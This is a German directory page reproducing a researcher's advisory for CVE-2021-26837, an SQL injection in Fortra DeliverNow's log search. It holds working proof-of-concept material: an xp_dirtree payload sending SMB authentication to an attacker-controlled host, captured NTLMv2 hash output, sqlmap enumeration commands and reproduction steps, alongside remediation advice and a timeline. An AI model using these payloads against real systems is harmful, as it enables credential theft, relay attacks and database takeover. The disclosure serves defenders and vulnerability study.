Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-26837 — CVE-2021-26837 - SQL-Injection im Parameter SearchTextbox von HelpSystems/Fortra DeliverNow. Payloads, annotierte Anfragen und Nachweise. Behoben in 1.2.18. | Kitploit
Tools/GitHubGitHub/l0lsec/cve-2021-26837
SchwachstellenanalyseExploitationWebanwendungs-ExploitationDatenexfiltrationPenetrationstests
GitHubl0lsec/cve-2021-26837

CVE-2021-26837

CVE-2021-26837 - SQL-Injection im Parameter SearchTextbox von HelpSystems/Fortra DeliverNow. Payloads, annotierte Anfragen und Nachweise. Behoben in 1.2.18.

Repository anzeigen
vor 26 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

CVE-2021-26837

SQL-Injection in HelpSystems / Fortra DeliverNow

Der Parameter SearchTextbox auf der Log-Suchseite von DeliverNow (/LogGrid.aspx) wird ohne Parametrisierung und ohne serverseitige Validierung direkt in eine SQL-Server-Abfrage eingefügt. Die Anwendung gab die daraus resultierenden SQL-Server-Parserfehler außerdem direkt an den Benutzer zurück – genau so kündigte sich der Fehler ursprünglich an.

Die Datenbankverbindung lief als sa, wodurch die Injection volle Sysadmin-Rechte auf der Instanz erbte. Das reichte aus, um master.dbo.xp_dirtree gegen einen vom Angreifer kontrollierten UNC-Pfad aufzurufen und das SQL-Server-Dienstkonto zu einer ausgehenden Authentifizierung zu zwingen.

Gefunden während eines internen Penetrationstests. Vom Hersteller in DeliverNow 1.2.18 behoben und als CVE-2021-26837 veröffentlicht.

Entdeckt und gemeldet von Sedric Louissaint von Show Up Show Out Security.


Zusammenfassung

CVECVE-2021-26837
ProduktDeliverNow (HelpSystems, jetzt Fortra)
Betroffenvor 1.2.18 (das ursprüngliche Advisory listete 1.2.18 und früher)
SchwachstelleCWE-89: SQL Injection
CVSS 3.1 (NVD)9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2 (Forscher)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
Veröffentlicht2023-09-19
Getestet aufWindows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64)

NVD-Beschreibung:

Die SQL-Injection-Schwachstelle im Parameter SearchTextBox in Fortra (ehemals HelpSystems) DeliverNow vor Version 1.2.18 ermöglicht es Angreifern, beliebigen Code auszuführen, Privilegien auszuweiten und vertrauliche Informationen zu erlangen.

Technische Details

Injektionspunkt

POST /LogGrid.aspx, Body-Parameter SearchTextbox. Das Formular ist das Suchsteuerelement in der Log-Ansicht der Anwendung. ddlFieldName wählt die zu durchsuchende Spalte aus (Description in den folgenden Requests) und SearchTextbox enthält den Suchbegriff.

Ein einzelnes Anführungszeichen genügt, um es zu beweisen:

root@kitploit:~
blah'

Die Antwort gibt den SQL-Server-Parserfehler direkt auf der Seite aus:

root@kitploit:~
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

Log-Suche, die einen Fehler wegen nicht geschlossenem Anführungszeichen zurückgibt

Diese Fehlerausgabe ist ein eigener Befund. Sie verwandelt eine ansonsten blinde Injektion in eine vollständig interaktive.

Out-of-Band-Bestätigung über xp_dirtree

Da die Verbindung als sa läuft, ist master.dbo.xp_dirtree erreichbar. Wenn du es auf einen UNC-Pfad auf einem Host zeigst, den du kontrollierst, authentifiziert sich das SQL-Server-Dienstkonto ausgehend über SMB an diesem Host:

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

Das Payload im Suchfeld

Vollständiger Request in poc/exploited-request.http, Payloads in poc/payloads.sql.

Der ausgenutzte HTTP-Request

Erfasste Authentifizierung

Mit Impackets smbserver.py als Listener authentifiziert sich das SQL-Server-Dienstkonto des Ziels und gibt einen NTLMv2-Hash preis:

root@kitploit:~
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

Mit Impacket erfasste erzwungene Authentifizierung

Der Hash steht anschließend für Offline-Cracking oder für NTLM-Relay auf einen anderen Host zur Verfügung.

Privilegienkontext

sqlmap bestätigt die Injektion und die Privilegienstufe:

root@kitploit:~
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

sqlmap-Enumeration mit aktuellem Benutzer sa

sa bedeutet, dass jeder Login-Hash auf der Instanz lesbar ist, und xp_cmdshell ist nur einen sp_configure-Aufruf von der Befehlsausführung auf dem Host entfernt.

Reproduktion

Gegen eine Laborinstanz, die du besitzt oder für die du eine Testberechtigung hast:

  1. Rufe die DeliverNow-Weboberfläche auf (Standard: http://<host>:1080/) und öffne Log.
  2. Gib blah' in das Suchfeld ein und sende die Suche ab. Eine verwundbare Version gibt den SQL-Server-Parserfehler auf der Seite aus.
  3. Starte einen Listener auf einem Host, den das Ziel erreichen kann:
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  4. Sende das xp_dirtree-Payload aus poc/payloads.sql mit deiner eigenen IP ein. Eine verwundbare Version erzeugt eine eingehende SMB-Authentifizierung vom SQL-Server-Dienstkonto.
  5. Optional lässt sich die Schwachstelle mit sqlmap anhand des gespeicherten Requests bestätigen:
    root@kitploit:~
    sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
    

Repository-Inhalt

root@kitploit:~
poc/
  payloads.sql            Detection and out-of-band payloads for SearchTextbox
  exploited-request.http  The full POST request, ready for sqlmap -r
  sqlmap.md               sqlmap invocations and expected output
media/
  01-sql-error-in-log-search.png
  02-xp-dirtree-payload-in-searchtextbox.png
  03-forced-auth-captured-impacket.png
  04-sqlmap-sa-enumeration.png
  05-exploited-http-request.png

Hosts und Hashes in den Aufnahmen stammen aus dem ursprünglichen Auftrag und sind längst nicht mehr gültig. Ersetze beim Reproduzieren deine eigene Listener-Adresse.

Behebung

  1. Verwende parametrisierte Abfragen / Prepared Statements für jede Abfrage, die aus Benutzereingaben erstellt wird. Das ist die eigentliche Korrektur. Alles andere ist Verteidigung in der Tiefe.
  2. Validiere und bereinige serverseitig. Der POST-Body wird vollständig vom Angreifer kontrolliert, unabhängig davon, was das clientseitige Formular erlaubt.
  3. Verbinde dich nicht mehr als sa. Die Anwendung benötigt Lese- und Schreibzugriff auf ihre eigenen Tabellen. Sie braucht weder Sysadmin noch xp_dirtree. Least Privilege hätte die Injektion nicht verhindert, aber eingedämmt.
  4. Gib Datenbankfehler nicht an Benutzer aus. Protokolliere sie serverseitig und gib eine generische Meldung zurück.
  5. Schränke ausgehendes SMB von Datenbankservern an der Netzwerkgrenze ein – das entfernt den hier genutzten Out-of-Band-Kanal.

Vom Hersteller in DeliverNow 1.2.18 behoben. Upgrade durchführen.

Zeitleiste

DatumEreignis
2021Gefunden während eines internen Penetrationstests und an HelpSystems gemeldet
2021In DeliverNow 1.2.18 behoben
2023-09-19CVE-2021-26837 in der NVD veröffentlicht, mit 9.8 Critical bewertet

Write-ups

  • Persönlicher Bericht: https://sedriclouissaint.com/blog/delivernow-sql-injection-cve-2021-26837/
  • Show Up Show Out Security: https://susos.co/blog/sqlnow-sql-injection-in-delivernow-cve-2021-26837

Haftungsausschluss

Veröffentlicht nach der Behebung durch den Hersteller, zu defensiven und Bildungszwecken. Die hier enthaltenen Payloads zielen auf eine vor Jahren gepatchte Version. Führe sie nicht gegen Systeme aus, die du nicht besitzt oder für die du keine schriftliche Genehmigung zum Testen hast.

Tool herunterladen